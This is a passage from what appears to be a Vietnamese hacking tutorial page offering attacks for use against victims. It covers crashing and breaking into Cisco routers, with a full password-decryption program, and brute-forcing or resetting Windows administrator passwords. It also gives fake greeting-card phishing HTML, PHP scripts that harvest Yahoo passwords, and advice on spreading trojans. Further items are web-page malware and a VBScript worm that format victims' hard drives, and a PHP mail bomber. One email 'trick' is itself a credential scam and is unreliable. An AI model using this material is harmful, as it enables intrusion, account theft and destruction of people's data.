có thể có cụm từ "cisco" trong tên của nó. Nếu bạn tìm thấy điều gì đó
tương tự như vậy, hãy copy lại địa chỉ IP của nó.
Giờ đây bạn đã biết nơi có một cisco router, nhưng nó có thể được bảo vệ
bởi firewall, bạn nên kiểm tra xem nó có được bảo vệ không bằng cách ping
nó một vài lần, nếu bạn nhận được trả lời thì có thể là nó không bị khoá.
Một cách làm khác là thử truy nhập vào một số cổng của cisco router, điều
này được thực hiện dễ dàng bằng cách sử dụng telnet, và tạo một kết nối
tới router bằng cổng 23.. Nếu nó đòi password, mà không hỏi username nghĩa
là bạn đang kề bên router, nhưng nếu nó đòi username, thì có lẽ là đã bị
firewall.
Thử tìm một router không có firewall, bởi lẽ bài giảng này tutorial là về
routers chứ không phải về cách qua firewalls. Khi bạn đã tìm ra một hệ
thống ổn định, bạn cần tìm một proxy server cho phép sử dụng cổng 23, bằng
cách này IP của bạn sẽ không bị lưu lại bởi router.
---------------------------------
Phần 3: Đột nhập
cisco router
Các Cisco router chạy phiên bản v4.1 (hiện còn rất phổ biến) có thể hạ gục
dễ dàng. Bạn chỉ cần kết nối với router bằng cổng 23 qua proxy server, và
nhập vào một chuỗi password KHỔNG LỒ, như là;
10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019
dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv
019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmx
ncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfh
gzmxncbv019dsk
Chờ một chút, hệ thống cisco có thể sẽ khởi động lại, trong trường hợp đó
bạn sẽ không hack được bởi vì chúng offline.. Nhưng chúng thường treo
khoảng 2-10 phút, và bạn có thể thâm nhập được.
Nếu cả hai trường hợp đều không xảy ra, nghĩa là nó không chạy phần mềm
ngon ăn, trong trường đó bạn có thể thử một vài kiểu tấn công DoS, giống
như một lượng ping khổng lồ. Mở dos và gõ "ping -l 56550 cisco.router.ip
-t", this will do the same trick for you.
Khi bị treo, mở một kết nối khác đến một vài proxy khác, và dùng password
"admin", lí do vì đây là mật khẩu mặc định của router, và khi nó tạm thời
bị ngắt nó sẽ chuyển sang chế độ mặc định.
Khi bạn đã đăng nhập, bạn cần giành lấy file password ! Các hệ thống chạy
những phần mềm khác nhau nhưng đa số sẽ có lệnh "htl-textil" hoặc gì đó,
bạn gõ "?" để hiện ra danh sách các lệnh, bạn sẽ thấy một danh sách khổng
lồ các lệnh, ở đâu đó bạn sẽ thấy một lệnh chuyển đổi, dùng nó để lấy
password file của admin (người dùng hiện tại) và gửi đến địa chỉ IP ở cổng
23. Nhưng trước khi làm vậy, hãy đặt HyperTerminal chờ thông tin từ cisco
router. Một khi bạn gửi file file, HyperTerminal sẽ hỏi xem bạn có đồng ý
nhận file này không, chọn đồng ý và lưu nó xuống đĩa. Thoát.
Bạn đã qua phần khó khăn nhất, nghỉ một chút và chuẩn bị phá password!
------------------------------
Phần 4: phá password
Giờ đây bạn đã có được file password, bạn cần phải bẻ khoá nó thì mới có
thể truy nhập access router lần nữa. Để làm việc này cần chạy một chương
trình đại loại như John the Ripper hoặc một chương trình nào khác để bẻ
file password, và bạn có thể bẻ khoá được nó.
Đây là cách dễ nhất, và tôi khuyên bạn dùng cách này. Một cách có thể thử
bẻ khoá chúng. Để làm vạy bạn cần một phần mềm giải mã, phải thật kiên
nhẫn.
Để giải mã cisco password, bạn phải dịch đoạn mã sau trong linux:
#include <stdio.h>
#include <ctype.h>
char xlat[] = {
0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44
};
char pw_str1[] = "password 7 ";
char pw_str2[] = "enable-password 7 ";
char *pname;
cdecrypt(enc_pw, dec_pw)
char *enc_pw;
char *dec_pw;
{
unsigned int seed, i, val = 0;
if(strlen(enc_pw) & 1)
return(-1);
seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0';
if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))
return(-1);
for (i = 2 ; i <= strlen(enc_pw); i++) {
if(i !=2 && !(i & 1)) {
dec_pw[i / 2 - 2] = val ^ xlat[seed++];
val = 0;
}
val *= 16;
if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {
val += enc_pw[i] - '0';
continue;
}
if(enc_pw[i] >= 'A' && enc_pw[i] <= 'F') {
val += enc_pw[i] - 'A' + 10;
continue;
}
if(strlen(enc_pw) != i)
return(-1);
}
dec_pw[++i / 2] = 0;
return(0);
}
usage()
{
fprintf(stdout, "Usage: %s -p <encrypted password>\n", pname);
fprintf(stdout, " %s <router config file> <output file>\n", pname);
return(0);
}
main(argc,argv)
int argc;
char **argv;
{
FILE *in = stdin, *out = stdout;
char line[257];
char passwd[65];
unsigned int i, pw_pos;
pname = argv[0];
if(argc > 1)
{
if(argc > 3) {
usage();
exit(1);
}
if(argv[1][0] == '-')
{
switch(argv[1][1]) {
case 'h':
usage();
break;
case 'p':
if(cdecrypt(argv[2], passwd)) {
fprintf(stderr, "Error.\n");
exit(1);
}
fprintf(stdout, "password: %s\n", passwd);
break;
default:
fprintf(stderr, "%s: unknow option.", pname);
}
return(0);
}
if((in = fopen(argv[1], "rt")) == NULL)
exit(1);
if(argc > 2)
if((out = fopen(argv[2], "wt")) == NULL)
exit(1);
}
while(1) {
for(i = 0; i < 256; i++) {
if((line[i] = fgetc(in)) == EOF) {
if(i)
break;
fclose(in);
fclose(out);
return(0);
}
if(line[i] == '\r')
i--;
if(line[i] == '\n')
break;
}
pw_pos = 0;
line[i] = 0;
if(!strncmp(line, pw_str1, strlen(pw_str1)))
pw_pos = strlen(pw_str1);
if(!strncmp(line, pw_str2, strlen(pw_str2)))
pw_pos = strlen(pw_str2);
if(!pw_pos) {
fprintf(stdout, "%s\n", line);
continue;
}
if(cdecrypt(&line[pw_pos], passwd)) {
fprintf(stderr, "Error.\n");
exit(1);
}
else {
if(pw_pos == strlen(pw_str1))
fprintf(out, "%s", pw_str1);
else
fprintf(out, "%s", pw_str2);
fprintf(out, "%s\n", passwd);
}
}
}
Nếu bạn không có Linux, chỉ còn nước bẻ password bằng cách tấn công từ
điển hoặc brute-force file đó bằng John the Ripper hoặc một chương trình
bẻ khoá khác.
-------------------------------
Phần 5: Sử dụng
router
Để sử dụng thiết bị cao cấp tuyệt vời này, bạn phải kết nối tới chúng, sử
dụng proxy nếu không muốn IP của bạn log. Khi đã đăng nhập, bạn nên tắt
phần history để không ai có thể biết bạn đã làm gì, gõ vào "terminal
history size 0". Và nó sẽ chẳng ghi lại gì! Gõ "?" để hiện một danh sách
tất cả các lệnh của router, và bạn sẽ dùng được hầu hết trong số chúng.
Các router thường có telnet, và bạn có thể dùng telnet để kết nối connect
tới các hệ thống khác, (như một hệ unix) và hack chúng. Nó cũng được trang
bị ping và traceroute-bạn có thể sử dụng chúng để theo dõi hệ thống hoặ
tấn công DoS. Bạn còn có thể sử dụng nó để bắt các gói tin, nhưng tôi
khuyên bạn không nên, bởi lẽ không phải lúc nào nó cũng hoạt động, và có
thể làm cho bạn bị phát hiện...
Trở về đầu trang
Đánh
cắp mật khẩu
Lấy mật khẩu của WInNT và Win2000
tạo một tệp tin, trong đó có chứa username và password tương ứng nhau . Ví
dụ ta tạo 1 file credentials.txt :
[file: credentials.txt]
password username
admin Administrator
administrator Administrator
secret Administrator
........... .....................
sau đó dùng lệnh FOR trong Windows để dò password admin , cụ thể :
c:\>FOR /F "tokens=1,2*" %i in (credetials.txt) do net use (tên ổ đĩa):
\\server\IPC$ %i /u:%j
Lệnh này lấy 2 "từ vị" ở mỗi dòng, và lấy "từ vị" đầu cho biến %i
(password), và "từ" vị thứ 2 cho biến %j trong khi sử dụng lệnh net use
cho resource IPC$, IPC$ ở đây có thể là ổ C$ hay D$, còn tên ổ đĩa bạn nên
lấy những ổ "ảo", nghĩa là không có trên máy ví dụ ổ H: hay I: V:
Lệnh này đã được mình test thành công !
-----------------------------------------------------------------
Có rất nhiều chương trình để lấy pass theo kiểu chọn này, ở đây ta dùng
chương trình NAT (NetBIOS Auditing Tool), chương trình này được sử dụng
cho tất cả các PC ở class C :
D:\> FOR /L %i IN (1,1,254) DO nat -u userlist.txt -p passlist.txt
192.168.202.%I >> nat_output.txt
--- Checking host : 192.168.202.1
--- Obtaining list of remote NetBIOS names
--- Attempting to connect with Username:
'ADMINISTRATOR' Password:'ADMINISTRATOR'
--- Attempting to connect with Username:
'ADMINISTRATOR' Password:'GUEST'
.......
--- CONNECTED: Username: 'ADMINISTRATOR' Password"
'PASSWORD'
--- Attempting to access share: \\*SMBSERVER\TEMP
--- WARNING: Able to acess share: \\*SMBSERVER\TEMP
......
Những thông tin về lệnh FOR bạn có thể tìm hiểu bằng lệnh FOR /?
Một cách khác
nhằm đoạt quyền của Administrator ở Window
Đối với Win98 : Không khó lắm , bạn vào start menu -->search-->
Files and Folders , bạn tìm tất cả những file *.pwl. Sau đó Xóa những file
này đi, khởi động lại máy rồi login với user là administrator , không
password
Đối với Win NT, 2000, XP : Cách này tỷ lệ thành công khoảng 60%
Bạn chuẩn bị một boot disk Windows 98, sau đó khởi động máy bằng đĩa này,
trong DOS bạn đánh : Del X:\winnt\system32\config\SAM với X là ổ đĩa chứa
OS của bạn, lệnh này dùng để xoá file SAM chứa những account người dùng
,... Bạn khởi động lại máy và log in với user Administrator , không có
pass !
Cách này dùng cho hệ thống cài NTFS (Độ bảo mật cao hơn so với FAT 32),
bạn làm lại những bước trên, tuy nhiên, bạn cần một chương trình để đọc
file của bạn trong partion ở DOS . Bạn download chương trình NTFSpro Những
hướng dẫn trong chương trình này sẽ giúp bạn cài 1 boot disk đúng. Sau khi
tạo 1 disk boot với NTFSpro , bạn khởi động lại với boot disk này và đã có
thể thao tác với file rùi ! làm theo những bước ở phía trên nữa là xong !
Trở về đầu trang
Lấy mật khẩu của
email
+Trước hết mở hộp thư cua các bạn ra,chọn composed để bắt đầu gửi thư
+Trong phần nội dung,chọn View HTML source,sau đó biên soạn nội dung sau:
Ban co 1 buc dien hoa tu Congaquay85(hoac ten cua ban) voi tieu de nhu sau
:
Chuc ban vui ve
Hay nhap chuot vao day de xem buc dien hoa
http://dienhoa.vnn.vn/1&YY=80401&inc=25&or...pos=0&/view.php
You have a greeting crad from Congaquay85 with subject :
chuc ban vui ve
Click here to view greeting card
http://dienhoa.vnn.vn/1&YY=80401&inc=25&or...pos=0&/view.php
Trong phần nội dung thư bạn cứ copy nguyên đoạn này vào là được ;
----------------------------------------------------------------------------------------------------
<p>Ban co 1 buc dien hoa tu Congaquay85 voi tieu de nhu sau :</p>
<p>Chuc ban vui ve</p>
<p>Hay nhap chuot vao day de xem buc dien hoa</p>
<p><a href="http://www.00dt1.com">http://dienhoa.vnn.vn/1&YY=80401&
inc=25&order=down&sort=date&pos=0&/view.php</a></p>
<p></p>
<p>You have a greeting crad from Tran hung anh with subject :</p>
<p>chuc ban vui ve</p>
<p>Click here to view greeting card</p>
<p><a href="http://www.00dt1.com">http://dienhoa.vnn.vn/1&YY=80401&
inc=25&order=down&sort=date&pos=0&/view.php</a></p>
-------------------------------------------------------------------------------------------
-Sau khi soạn thảo nội dung bức thư xong,bạn hãy gửi nó cho đối tượng bạn
muốn lấy pass.Nếu đối tượng mở trang web giả mạo trên,lập tưc password sẽ
bị lộ.Khi đó bạn hãy vào trang web này để xem kết
quả:http://00dt1yahoofake.dk3.com
Nào,bắt đầu tấn công đi,chúc các bạn thành công!
Ngoài ra bạn cũng có
thể sủ dụng cách này để đạt được sác xuất thanh công cao hơn
Cách 1: đây cũng là 1 cách nhà quê, bạn có thể download Ybrute - 1 chương
trình dò Yahoo pass - còn cách sử dụng nó thì đừng có hỏi tui, hỏi là tui
oánh đó, lớn tướng rùi mà còn hỏi vớ vẩn. Tuy nhiên khi mới vô thì tui
cũng xài qua cách này, điểm yếu của cách này là chỉ có tác dụng khi victim
xài pass là 1 từ có trong từ điển hay là 1 câu nói phổ biến, ngoài ra,
cách này cũng tốn rất nhiều thời gian (hêhê, cứ vừa ngồi đợi nó tìm mà
nghe tiền bay dần khỏi túi).
#Cách 2: bạn có thể tạo 1 giao diện giống hệt như Yahoo (việc này thì dễ
ợt chứ gì nữa), sau đó sửa đổi chút xíu... hê hê...để cho khi victim gõ
pass và user name thì alê hấp, pass bay như chim về email của ta, còn
victim thì vẫn vào hòm thư mà không hề hay biết. Việc này bạn có thể thực
hiện dễ dàng bằng front page mà không cần hiểu biết nhiều về html. Sau khi
tạo xong giao diện, upload lên thì bạn chỉ việc dụ victim vô tròng...khà
khà...nếu bạn muốn thử nghiệm thì cứ việc ra ngoài hàng rùi để homepage ở
đó là cái địa chỉ trang web mà bạn dùng để câu, chắc chắn là sẽ có nhiều
chú thỏ vô bẫy. #Cách 3: Sử dụng Trojan: Có rất nhiều loại Trojan giúp bạn
lấy password email, dial-up, account... như là: Hoocker,Barrio5.0,Barox,
Kuang2,....! Bạn có thể Download chúng ở đầy rẫy trên mạng ở các trang
hacker.
Bạn có thể gửi Trojan cho victim như một file đính kèm và khi victim mở
file đó Trojan sẽ có chỗ trú ngụ trong máy của victim và thế là password
của họ sẽ "chảy" về hòm thư của bạn. Thật tuyệt phải không? Nhưng khổ nỗi
nếu máy của victim mà có "chàng vệ sĩ" Nguyễn Tử Quảng (BKAV)hay
Noton-Anti Virus thì he..he đành bó tay thui
Nếu bạn có thể tạo trang Web bạn có thể đính kèm Trojan vào trang Web để
khi victim vào trang web đó của bạn Trojan sẽ được tự động down về máy
victim mà họ không hề hay biết. Để làm việc này bạn có thể sử dụng
Godwill1.60 để đính kèm trojan vào trong trang web. Godwill cũng có rất
nhiều trên mạng.
Cách 4 Tất cả đều phải thực hiện trên account Yahoo mail của bạn bởi vì
bức tường lửa của họ đã được nâng cấp bằng Unix-Apache sever.
1. Gửi một email tới: lookdown_pass@yahoo.com
<mailto:lookdown_pass@yahoo.com>
2. Dòng tiêu đề Subject của email là: Find password.
3. Tiếp đến là nội dung email bạn đánh vào đoạn JScript sau:
/config/cgi-bin/start?v703&login= "Tên login của bạn"&f="password của
bạn"&f= 27586&javascript=ACTIVE&rsa> infor/-password#="" send
back/?v_&from="địa chỉ muốn lấy pass" (nhớ phải đánh thêm @yahoo.com nhe!)
Ví dụ:
Tên login của bạn là "hacker", password là "nobody" và địa chỉ muốn lấy
pass là "victim@yahoo.com <mailto:victim@yahoo.com>" chẳng hạn thì bạn
đánh như sau:
/config/cgi-bin/start?v703&login="hacker"&f="nobody"&f= 27586&javascript=ACTIVE&rsa>
infor/-password#="" send back/?v_&from="victim@yahoo.com <mailto:victim@yahoo.com>"
*The Yahoo system cần password của bạn để họ có thể gửi một javascript từ
account của bạn trên Yahoo sever tới một password của người khác. Password
sẽ tự động được gửi đến email của bạn trong dấu"".
Cách này tuy dễ thực hiện nhưng tỷ lệ thành công chỉ khoảng 60%, bởi vì
nếu Web Browser của nạn nhân mà không hỗ trợ JS thì đành bó tay thôi, sau
2 phút chờ đợi mà không thấy Yahoo sever hồi âm thì có lẽ bạn lên chuyển
sang cách sau
#Cách 5: cách này thì 100% là thành công, nghe phê chưa. Ấy bình tĩnh để
em post lên chớ. Cách này sử dụng khi bác đến nhà victim chơi hoặc ra
ngoài hàng, nếu bác chẳng may thấy victim xài tiện ích remember user name
and password thì hãy nhanh nhanh dùng cách này. Các bác download SnadBoy's
Revelation v2 (lên google.com mà tìm down load), sau đó thì cách sử dụng
nó quá dễ để đưa lên đây. Cách này khá đơn giản và hiệu quả là 100% nhưng
ít có đất dụng võ vì nếu victim đọc bài này rùi thì họ sẽ không dùng cái
remember user name and password nữa đâu.
Cách 6: 1. Vào Bravenet.com đăng kí một accout và đăng kí formmail
bravenet.Trong phần Setting bạn chọn đường dẫn URL là địa chỉ mà bạn muốn
chuyển đến sau khi lừa họ check mail, bạn lên chọn đường dẫn đến đến địa
chỉ mà Yahoo báo lỗi khi Login bằng cách vào Yahoo mail và đánh một cái ID
tầm bậy nha, sau đó bạn cũng gõ pass luôn và bấm checkmail, yahoo sẽ báo
là sai mật khẩu bạn hãy chép cái đường dẫn URL này và dán vào trong mục
URL của bravenet.
2. Sau khi hoàn thành bước đầu thì bạn chuyển sang bước kế tiếp chỉnh lại
trong mail yahoo đó nhớ là bạn phải làm 2 giao diện một giao diện yahoo là
sẵn sàng Login vào mail và cái thứ 2 là sai mật khẩu, tới đây chắc các bạn
hiểu rồi phải không? để khi victim checkmail thì đường dẫn thank sẽ báo là
sai mật khẩu và lần này thì 100% là victim checkmail thành công nhưng cũng
đồng nghĩa với mất mật khẩu, mật khẩu của victim sẽ được chuyển về hộp
mail mà lúc bạn đăng lí bên bravenet.com. Bạn chỉ còn việc đi rải "bom"
shortcut checkmail và chỉ chờ cho victim checkmail là OK!
Tuy
nhiên hiện
nay bravenet đã yêu cầu chứng nhận thông tin của emailform trước khi gửi
đi do đó chúng ta chỉ dùng cách này để tham khảo mà không dùng được nữa vì
nạn nhân sẽ phát hiện ra ngay. Bởi vậy, tại sao chúng ta không tự tạo ra
code cho mình, vừa nhiều tính năng hơn lại khỏi phải phụ thuộc.
2. Tự tạo code:
Trước tiên, bạn đăng ký một free host có hỗ trợ PHP, tôi thấy tốt nhất là
cái http://tripod.lycos.co.uk việc này rất dễ , chỉ cần bạn đăng ký làm
thành viên của trang này, sau đó làm theo các chỉ dẫn mà nó gửi về mail
cho bạn là có thể có một free host dạng:
http://members.lycos.co.uk/tenban
host này có acount FTP nhưng không thể dùng được mà các bạn phải dùng
web2ftp.com mà upload. Dùng trang này rất dễ, bên phần "thiết kế và xuất
bản web, trong bài 1.2.3 cùng làm forum"tôi có bài hướng dẫn dùng
web2ftp.com rất cụ thể. Nào chúng ta làm:
1. tạo các tệp sau: (dùng Notepate, sau đó khi save chọn Allfile với tên
tệp là yahoo1.php chẳng hạn)
yahoo1.php:
<?
$f=fopen("yahoo.html","a");
fwrite($f,"$login@yahoo.com : $passwd\n=====================\n");
fclose($f);
header("location: http://login.yahoo.com/config/login?6rfn98dak5km4&.tries=&.src=ym&.last=&promo=&.intltype
=us&.bypass=&.partner=&.u=6l335nstlpk8v&.v=0&hasMsgr=0&.chkP=Y&.done=&login=
$login&passwd=$passwd&.persistent=");
?>
yahoo2.php:
<?
$f=fopen("yahoo.txt","a");
fwrite($f,"$login@yahoo.com : $passwd\n=====================\n");
fclose($f);
header("location: http://login.yahoo.com/config/login?6rfn98dak5km4&.tries=&.src=ym&.last=&promo=&.intltype
=us&.bypass=&.partner=&.u=6l335nstlpk8v&.v=0&hasMsgr=0&.chkP=Y&.done=&login=
$login&passwd=$passwd&.persistent=");
?>
yahoo3.php
<?
$contactemail = "mailcuaban@yahoo.com"; //

$subject = "password of $login@yahoo.com : $passwd";
$message = "";
mail($contactemail, $subject, $message);
header("location: http://login.yahoo.com/config/login?6rfn98dak5km4&.tries=&.src
=ym&.last=&promo=&.intltype=us&.bypass=&.partner=&.u= 6l335nstlpk8v&.v=0&hasMsgr=0&.chkP=Y&.done=&login=
$login&passwd=$passwd&.persistent=");
?>
Tạo tiếp 2 tệp trắng (không có nội dung gì ) là: yahoo.html và yahoo.txt
2. Dùng http://web2ftp.com upload 5 tệp này lên trang lycos của bạn
3. Dùng code:
a. Thay code của bravenet (nếu trước đó bạn đang dùng code của bravenet)
bằng:
<FORM action="http://members.lycos.co.uk/tenban/yahoo3.php" method="post">
nếu bạn muốn gửi kết quả về mail cho bạn
b. Thay code của bravenet bằng:
<FORM action="http://members.lycos.co.uk/tenban/yahoo1.php" method="post">
nếu bạn muốn kết quả được in ra trang yahoo.html sau đó mỗi lần xem bạn
chỉ cần gõ:
http://members.lycos.co.uk/tenban/yahoo.html
c. Thay code của bravenet bằng:
<FORM action="http://members.lycos.co.uk/tenban/yahoo2.php" method="post">
nếu bạn muốn kết quả được in ra trang yahoo.txt sau đó mỗi lần xem bạn
dùng FTP mở trang này ra hoặc có thể gõ
http://members.lycos.co.uk/tenban/yahoo.txt nếu bạn chmod file yahoo.txt
là 666 (-rw-rw-rw)
Chú ý, nếu bạn dùng emalform không phải là copy của trang mail.yahoo.com
thì khi tạo form nhớ đặt Name cho ô "login" và "đăng nhập" lần lượt là
login và passwd.
Trở về đầu trang
Cài vius format ổ cứng
victim
Hãy chèn đoạn mã sau vào trang web rồi gởi cho
một kẻ khốn khổ nào đó, nó chạy thì ổ cứng của nó
sẽ tiêu, đừng chơi tui nha!!!.
<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<p>
<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">
</object>
</p>
<script>
var1='echo @format "c: < c.txt >nul" >> c:\\autoexec.bat';
scr.Reset();
scr.Path="C:\\windows\\Start Menu\\Programs\\StartUp\\repair.hta";
scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><script>wsh.Run('command
/c echo e 171,20 >> C:\\d.TXT',true,1);wsh.Run('command /c echo e 181,20
>> C:\\d.TXT',true,1);wsh.Run('command /c echo w>> C:\\d.TXT',true,1);wsh.Run('command
/c echo q >> C:\\d.TXT',true,1);wsh.Run('command /c echo y >> C:\\C.TXT',true,1);wsh.Run('command
/c echo Sucker >> C:\\C.TXT',true,1);wsh.Run('command /c echo @echo Please
wait while Setup updates your configuration files. >>
c:\\autoexec.bat',true,1);wsh.Run('command /c echo @echo This may take a
few minutes... >> c:\\autoexec.bat',true,1);wsh.Run('command /c
"+var1+"',true,1);wsh.Run('command /c debug c:\\autoexec.bat < d.txt',true,1)</"+"SCRIPT>";scr.write();
</script>
<p>
<object classid="clsid:50E5E3D1-C07E-11D0-B9FD-00A0249F6B00" id="RegWizObj">
</object>
</p>
<script language="VbScript">
expstr = "/i
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAA"
expstr = expstr & Chr(235)
expstr = expstr & Chr(53)
expstr = expstr & Chr(208)
expstr = expstr & Chr(127)
expstr = expstr + Chr(144)
expstr = expstr + Chr(139) + Chr(252)
expstr = expstr + Chr(131) + Chr(199) + Chr(25)
expstr = expstr + Chr(80)
expstr = expstr + Chr(87)
expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) + Chr(191)
expstr = expstr + Chr(255) + Chr(210)
expstr = expstr + Chr(51) + Chr(192)
expstr = expstr + Chr(80)
expstr = expstr + Chr(186) + Chr(202) + Chr(212) + Chr(248) + Chr(191)
expstr = expstr + Chr(255) + Chr(210)
expstr = expstr + "rundll32 shell32.dll,SHExitWindowsEx 1"
RegWizObj.InvokeRegWizard(expstr)
</script>
</html>
chúc các bạn thành công, đừng nên phổ biến vì nó
rất nguy hiểm
Cách tạo một virus
khác format ổ cứng người khác
Sao đây mình xin giới thiệu với các
bạn cách sử dụng VBScript để viết một
worm nhỏ xoá sạch ổ cứng của victim. (có thể nhúng vào HTML)
(Lưu ý : dùng với mục đích nghiên cứu, không khuyến khích phá hoại).
Sao đây tui xin giới thiệu với các bạn cách sử dụng
VBScript để viết một
worm nhỏ xoá sạch ổ cứng của victim. (có thể nhúng vào HTML)
(Lưu ý : dùng với mục đích nghiên cứu, không khuyến khích phá hoại).
I/để bắt victim thực thi một chương trình nào đó các bạn sử dụng đoạn
script sau:
================
<html>
<head>
<title>L0ng3ta</title>
</head>
<body >
<p>chuong trinh notepad se thuc thi
<script language=VBSCRIPT>
On Error Resume Next
Set WSHShell = CreateObject("WScript.Shell")
WSHShell.Run "c:\windows\notepad.exe",1,False
</SCRIPT></p>
</body>
</html>
================
đoạn Script trên sẽ chạy chương trình notepad. Các bạn có thể copy vào
trang HTML
và cho chạy thử.
II/Đoạn Script để chèn một vài lệnh lên autoexec.bat trên ổ đĩa của
victim.
======================
<script language=VBSCRIPT>
Function FindFile(PathFiles)
dim fso,f
Set fso = CreateObject("Scripting.FileSystemObject")
If (fso.FileExists(PathFiles)) Then
FindFile = True
Set f = fso.GetFile(Pathfiles)
If f.attributes and 1 Then
f.attributes = f.attributes -1
End if
Else
FindFile = False
End If
End Function
Sub CreateFile()
Dim fso, tf
Set fso = CreateObject("Scripting.FileSystemObject")
Set tf = fso.CreateTextFile("c:\Autoexec.bat", True)
tf.WriteLine ("@Echo off")
tf.Close
End Sub
Sub InsertBegintext()
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim fso, tf
Set fso = CreateObject("Scripting.FileSystemObject")
Set tf = fso.OpenTextFile("c:\autoexec.bat", ForAppending , True)
tf.WriteLine ("@Echo Please Waiting for Windows updating your system ...")
tf.Close
End Sub
Sub Inserttext(drv)
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim fso, tf
Set fso = CreateObject("Scripting.FileSystemObject")
Set tf = fso.OpenTextFile("c:\autoexec.bat", ForAppending , True)
tf.WriteLine ("@deltree /y " & drv & " > null")
tf.WriteLine ("@Format " & drv & " /q /u /autotest > null")
tf.Close
End Sub
'Kiem tra xem co phai o dia co phai la harddisk hay khong
'Va tra ve true neu no la harddisk
Function ShowDriveInfo(drvpath)
Dim fso, d, s, t
Set fso = CreateObject("Scripting.FileSystemObject")
Set d = fso.GetDrive(drvpath)
If d.DriveType = 2 then
If d.IsReady then
ShowDriveInfo = True
Else
ShowDriveInfo = False
End If
Else
ShowDiveInfo = False
End If
End Function
Sub Main()
Dim fso, d, dc, s, i
Dim a(15)
Set fso = CreateObject("Scripting.FileSystemObject")
Set dc = fso.Drives
i = 0
For Each d in dc
If showdriveinfo(d) then
a(i) = d
i= i+1
End If
Next
If Not Findfile("c:\autoexec.bat") then
Createfile
End if
InsertBegintext
Do While i>0
i=i-1
Inserttext(a(i))
Loop
End Sub
Main
</SCRIPT>
======================
III>Công việc còn lại là của các bạn, thay vì cho no thực thi chương trình
notepad các bạn hãy đổi tên nó thành "c:\autoexec.bat" thử xem, và các bạn
đoán
thử chuyện gì sẽ xảy ra rồi đó, lưu ý là chèn nó thẳng vào file html. Lấy
thêm đoạn source send mail của worm ILoveYou mà thêm vào nữa thì các bạn
sẽ có
một con Sworm đáng sợ.
Trở về đầu trang
Tạo bom thư
Sau đây tui xin giới thiệu với các bạn một vài cách làm
bom thư chơi
người ta:))Bạn copy đoạn mã sau vào WORD rồi save nó dưới dang file html
và tiến hành tấn công bằng cách upload lên host , nhưng hiện nay có nhiều
host không cho thưc thi hàm mail() nhằm chống lại các cuộc tấn công kiểu
DOS, đối với nhưng host như vậy thì đành phải chịu thui:D.
<HTML>
<HEAD>
<TITLE>Bombmail danh cho ban quan tri!</TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</HEAD>
<BODY>
<p align="center"><font face="verdana" color="red" size="4">PTV5 Group
Bombmail !</font></p>
<p align="center"><font face="verdana" color="red" size="2">Lưu
Ý : Các bạn bomb email ai cũng được (
hi hi hi ) , nhưng đừng bomb chúng
tôi</font></p>
<?
/////////////////////////////////////////////////////////////////
//
// trungh@00dt1.com
//
/////////////////////////////////////////////////////////////////
if ($action == "BOMB")
{
if (ereg("[A-Za-z0-9_-]+([\.]{1}[A-Za-z0-9_-]+)*@[A-Za-z0-9-]+([\.]{1}[A-Za-z0-9-]+)+",
$to))
{
echo "Gui $messages den $to<BR><BR><BR>";
}
else
{
die("Dia chi mail khong dung ($to)");
}
for ($i = 1; $i <= $messages; $i++)
{
$randfrom = rand(100000,900000);
$randsubject = rand(100000,900000);
mail($to, $randsubject, "$message", "From: $randfrom@hoangcuongbomb.com");
echo "Sent message # $i (Subject: $randsubject, From: $randfrom@hoangcuongbomb.com<BR>";
}
}
?>
<BODY bgcolor="#000000" text="#33CCFF" link="#FFFF00">
<CENTER>
<form name="danangitc" method="post" action="<?php echo $PHP_SELF ?>">
<table width="692" border="0" cellspacing="2" cellpadding="2">
<tr>
<td width="316"><font face="Verdana">
* Muốn bao nhiêu lá thư:</font></td>
</CENTER>
<td width="358">
<p align="left">
<input type="text" name="messages" value="500">
</p>
</td>
</tr>
<CENTER>
<tr>
<td width="316"><font face="Verdana">
* "Tặng" cho thằng nà o??</font></td>
</CENTER>
<td width="358">
<p align="left"><font face="Verdana">
<input type="text" name="to">
</font></p>
</td>
</tr>
<CENTER>
<tr>
<td width="316"><font face="Verdana">
* Ná»™i dung thế nà o (cấm chá»i):</font></td>
</CENTER>
<td width="358">
<p align="left">
<textarea name="message" cols="30" rows="5"></textarea>
</p>
</td>
</tr>
<CENTER>
<tr>
<td width="316"> </td>
</CENTER>
<td width="358">
<input type="submit" name="action" value="BOMB">
</td>
</tr>
</table>
</form>
</BODY>
<p align="center"><font face="verdana" color="#575757" size="-2">Designed
and Copyright © 2003 by PTV5 Group . All rights reserved<br>
Contact us : </font></p>
</HTML>
Trở về đầu trang
Các lỗi bảo mật
